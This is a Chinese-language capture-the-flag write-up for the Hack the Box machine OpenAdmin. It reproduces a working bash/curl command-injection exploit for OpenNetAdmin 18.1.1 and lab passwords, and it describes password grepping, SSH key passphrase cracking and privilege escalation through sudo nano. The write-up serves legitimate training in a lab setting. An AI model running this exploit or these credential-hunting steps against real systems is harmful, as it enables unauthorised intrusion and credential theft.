Hack the Box-OpenAdmin

前言

这次做靶机学到不少东西,果然还是要细细的做,把问题都弄懂。

探测

nmap扫端口,扫下来发现只开放了22和80端口,那就先从80端口开始看看吧。

1
nmap -sS -Pn 10.10.10.171 -p-

80端口打开之后是apache服务器的配置完成页面,robots.txt文件没有什么东西,dirbuster走一波,这里字典选择的是directory-list-2.3-medium.txt

完全扫完目录要等很久,基本上不会有什么太大区别,直接开始看一看各个目录。这里的ona很好奇是什么,google一下发现是一个全名叫做OpenNetAdmin的管理平台,和题目名称相似度很高,值得怀疑。点进去看一看,发现了重要的版本信息。

CVE

直接谷歌搜索漏洞,很幸运第一个就看起来能用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# Exploit Title: OpenNetAdmin 18.1.1 - Remote Code Execution
# Date: 2019-11-19
# Exploit Author: mattpascoe
# Vendor Homepage: http://opennetadmin.com/
# Software Link: https://github.com/opennetadmin/ona
# Version: v18.1.1
# Tested on: Linux

# Exploit Title: OpenNetAdmin v18.1.1 RCE
# Date: 2019-11-19
# Exploit Author: mattpascoe
# Vendor Homepage: http://opennetadmin.com/
# Software Link: https://github.com/opennetadmin/ona
# Version: v18.1.1
# Tested on: Linux

#!/bin/bash

URL="${1}"
while true;do
echo -n "$ "; read cmd
curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
done

虽然不清楚利用原理但是代码逻辑还是很清晰的,输入一个参数URL就好,保存本地运行一下,直接get shell。

获取用户

方法一

看一下靶机中有哪些用户,jimmy和joanna用户看起来就是目标用户。

先看一下当前目录下都有什么东西,注意到有一个叫做config的目录,怀疑里面有一些可以暴露信息的配置文件。

该目录下一共有两个文件auth_ldap.config.phpconfig.inc.php。前者的内容没有什么有价值的信息,后者的配置文件中引入了用户本地化的设置和数据库设置。

跟随前面所读取到的路径进入两个配置文件,第一个配置文件并不存在,第二个配置文件中暴露了数据库的密码信息为n1nj4W4rri0R!。将此密码尝试和jimmy和joanna用户进行匹配之后发现位jimmy的ssh密码,成功获取到了用户。

方法二

其实第二个方式是我最开始想到的方法,只不过因为有点简单会剧透,所以放在第二个方法来说。使用以下命令来寻找文件中包含“passwd”、“password”等等一系列可能表示暴露口令的字符串就可以找到密码。

1
grep -rn “passwd” ./

joanna

登录到jimmy用户的目录下,发现并没有想要的文件user.txt。那么就是说user flag在joanna用户的目录下。那么就向joanna发起进攻。首先现在我们只有jimmy用户,所以先执行如下命令找一找jimmy用户可以进入那些目录。

发现此用户拥有/var/www/internal/目录的权限。

1
find / -type d -user jimmy

进入这个目录,其中包含了三个文件:login.phplogout.phpmain.php。在第三个文件中发现了如下图中的语句。

那么是不是只要执行这个php文件就可以获取到joanna的私钥了?赶紧执行以下,果然还是跳出了permission denied。

看一下端口状态,发现有个可疑的高端口建立了tcp连接,会不会是正在执行这个文件呢?

使用curl访问一下这个地址,返回了login.php的源代码,看来这个端口就是用来执行/var/www/internal目录中的文件的,赶紧访问一下main.php,惊喜的发现了私钥。

可是我开始疑惑,/var/www/internal目录是属于jimmy用户的,同时之前的步骤也证实了jimmy是没有权限获取joanna目录的文件的。我先讲main.php文件中获取rsa私钥的那句话注释掉,再访问52846端口,发现更改后的文件被执行了,没有获取到私钥。接着我又将注释取消再次访问端口,rsa私钥被重新获取了。为什么呢?是什么进程执行了这个文件,并且拥有joanna目录的权限?我在这里想了很久没想通,后来问了一位朋友,在他指导下发现了在apache配置文件路径/etc.apache2/sites-available中有一个internal.conf文件,配置了一个虚拟主机,运行在52846端口,文件路径就是/var/www/internal,并且以joanna用户运行。

问题解决之后就可以愉快的继续做靶机了。将joanna的私钥下载到本地快乐连接ssh,发现需要passphrase,可以理解为保护rsa私钥的口令。

用开膛手杰克john the ripper工具破解一发,血腥忍者bloodninjas

![image-20200328135352945](/Users/ama666/Library/Application Support/typora-user-images/image-20200328135352945.png)

Root

root权限的获取很简单,查看一下joanna能以root权限执行的命令。看到有一个不用密码就能执行的命令。

打开nano,control+R读取文件,直接获得root.txt。